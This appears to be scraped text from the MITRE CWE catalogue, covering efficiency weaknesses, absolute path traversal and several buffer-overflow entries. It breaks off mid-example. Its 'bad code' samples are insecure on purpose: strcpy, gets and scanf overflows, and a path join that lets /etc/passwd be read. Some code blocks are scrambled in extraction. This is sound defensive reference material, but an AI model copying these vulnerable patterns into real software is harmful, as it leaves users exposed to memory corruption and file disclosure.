Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Data Element Aggregating an Excessively Large Number of Non-Primitive Elements
- (1043)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1043
(Data Element Aggregating an Excessively Large Number of Non-Primitive Elements)
The product uses a data element that has an excessively large
number of sub-elements with non-primitive data types such as structures or aggregated objects.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Creation of Immutable Text Using String Concatenation
- (1046)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1046
(Creation of Immutable Text Using String Concatenation)
The product creates an immutable text string using string concatenation operations.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Data Query Operations in a Large Data Table
- (1049)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1049
(Excessive Data Query Operations in a Large Data Table)
The product performs a data query with a large number of joins
and sub-queries on a large data table.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Platform Resource Consumption within a Loop
- (1050)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1050
(Excessive Platform Resource Consumption within a Loop)
The product has a loop body or loop condition that contains a control element that directly or
indirectly consumes platform resources, e.g. messaging, sessions, locks, or file
descriptors.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Data Access Operations Outside of Expected Data Manager Component
- (1057)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1057
(Data Access Operations Outside of Expected Data Manager Component)
The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Number of Inefficient Server-Side Data Accesses
- (1060)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1060
(Excessive Number of Inefficient Server-Side Data Accesses)
The product performs too many data queries without using efficient data processing functionality such as stored procedures.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Execution of Sequential Searches of Data Resource
- (1067)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1067
(Excessive Execution of Sequential Searches of Data Resource)
The product contains a data query against an SQL table or view
that is configured in a way that does not utilize an index and may cause
sequential searches to be performed.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Data Resource Access without Use of Connection Pooling
- (1072)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1072
(Data Resource Access without Use of Connection Pooling)
The product accesses a data resource through a database without using a
connection pooling capability.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses
- (1073)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1073
(Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses)
The product contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Large Data Table with Excessive Number of Indices
- (1089)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1089
(Large Data Table with Excessive Number of Indices)
The product uses a large data table that contains an excessively large number of
indices.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Use of Object without Invoking Destructor Method
- (1091)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1091
(Use of Object without Invoking Destructor Method)
The product contains a method that accesses an object but does not later invoke
the element's associated finalize/destructor method.
Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
Excessive Index Range Scan for a Data Resource
- (1094)
1305
(CISQ Quality Measures (2020)) >
1309
(CISQ Quality Measures - Efficiency) >
1094
(Excessive Index Range Scan for a Data Resource)
The product contains an index range scan for a large data table,
but the scan can cover a large number of rows.
View ComponentsA | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
CWE-36: Absolute Path Traversal
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the example below, the path to a dictionary file is read from a system property and used to initialize a File object. (bad code)
Example Language: Java
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename); However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory. Example 2 This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user. (bad code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.join(os.getcwd(), filename) try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file. (good code)
Example Language: Python
import os
import sys def main():
filename = sys.argv[1]
main()
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
except FileNotFoundError as e:
file_data = f.read()
print("Error - file not found")
The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-788: Access of Memory Location After End of Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.
This typically occurs when a pointer or its index is incremented to a position after the buffer; or when pointer arithmetic results in a position after the buffer.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 This example applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){ /* encode to < */ else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 4 In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing. (bad code)
Example Language: C
int processMessageFromSocket(int socket) {
int success;
char buffer[BUFFER_SIZE]; char message[MESSAGE_SIZE]; // get message from socket and store into buffer //Ignoring possibliity that buffer > BUFFER_SIZE if (getMessage(socket, buffer, BUFFER_SIZE) > 0) { // place contents of the buffer into message structure ExMessage *msg = recastBuffer(buffer); // copy message body into string for processing int index; for (index = 0; index < msg->msgLength; index++) { message[index] = msg->msgBody[index]; }message[index] = '\0'; // process message success = processMessage(message); return success; However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-786: Access of Memory Location Before Start of Buffer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Example 1 In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character. (bad code)
Example Language: C
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1)); // copy input string to a temporary string char message[length+1]; int index; for (index = 0; index < length; index++) { message[index] = strMessage[index]; }message[index] = '\0'; // trim trailing whitespace int len = index-1; while (isspace(message[len])) { message[len] = '\0'; }len--; // return string without trailing whitespace retMessage = message; return retMessage; However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer. Example 2 The following example asks a user for an offset into an array to select an item. (bad code)
Example Language: C
int main (int argc, char **argv) { char *items[] = {"boat", "car", "truck", "train"}; }int index = GetUntrustedOffset(); printf("You selected %s\n", items[index-1]); The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126). Example 3 The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found. (bad code)
Example Language: C
int main() {
... }
char *result = strstr(destBuf, "Replace Me"); int idx = result - destBuf; strcpy(&destBuf[idx], srcBuf); ... In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-824: Access of Uninitialized Pointer
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterIf the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks. Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-805: Buffer Access with Incorrect Length Value
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
When the length value exceeds the size of the destination, a buffer overflow could occur.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Assembly (Undetermined Prevalence) Example 1 This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 2 In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 In the following example, the source character string is copied to the dest character string using the method strncpy. (bad code)
Example Language: C
...
char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(source)-1); ... However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below. (good code)
Example Language: C
...
char source[21] = "the character string"; char dest[12]; strncpy(dest, source, sizeof(dest)-1); ... Example 4 In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file. (bad code)
Example Language: C
#define LOG_INPUT_SIZE 40
// saves the file name to a log file int outputFilenameToLog(char *filename, int length) { int success;
// buffer with size set to maximum size for input to log file char buf[LOG_INPUT_SIZE]; // copy filename to buffer strncpy(buf, filename, length); // save to log file success = saveToLogFile(buf); return success; However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below. (good code)
Example Language: C
...
// copy filename to buffer strncpy(buf, filename, sizeof(buf)-1); ... Example 5 Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error. In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow. The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string. (bad code)
Example Language: C
void getUserInfo(char *username, struct _USER_INFO_2 info){
WCHAR unicodeUser[UNLEN+1]; }MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser)); NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info); This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated. If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
A buffer overflow condition exists when a product attempts to put more data in a buffer than it can hold, or when it attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the product copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Class: Assembly (Undetermined Prevalence) Example 1 The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array. (bad code)
Example Language: C
char last_name[20];
printf ("Enter your last name: "); scanf ("%s", last_name); The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total. Example 2 The following code attempts to create a local copy of a buffer to perform some manipulations to the data. (bad code)
Example Language: C
void manipulate_string(char * string){
char buf[24]; }strcpy(buf, string); ... However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter. Example 3 The code below calls the gets() function to read in data from the command line. (bad code)
Example Language: C
char buf[24]; }printf("Please enter your name and press <Enter>\n"); gets(buf); ... However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition. Example 4 In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file. (bad code)
Example Language: C
...
struct hostent *clienthp;
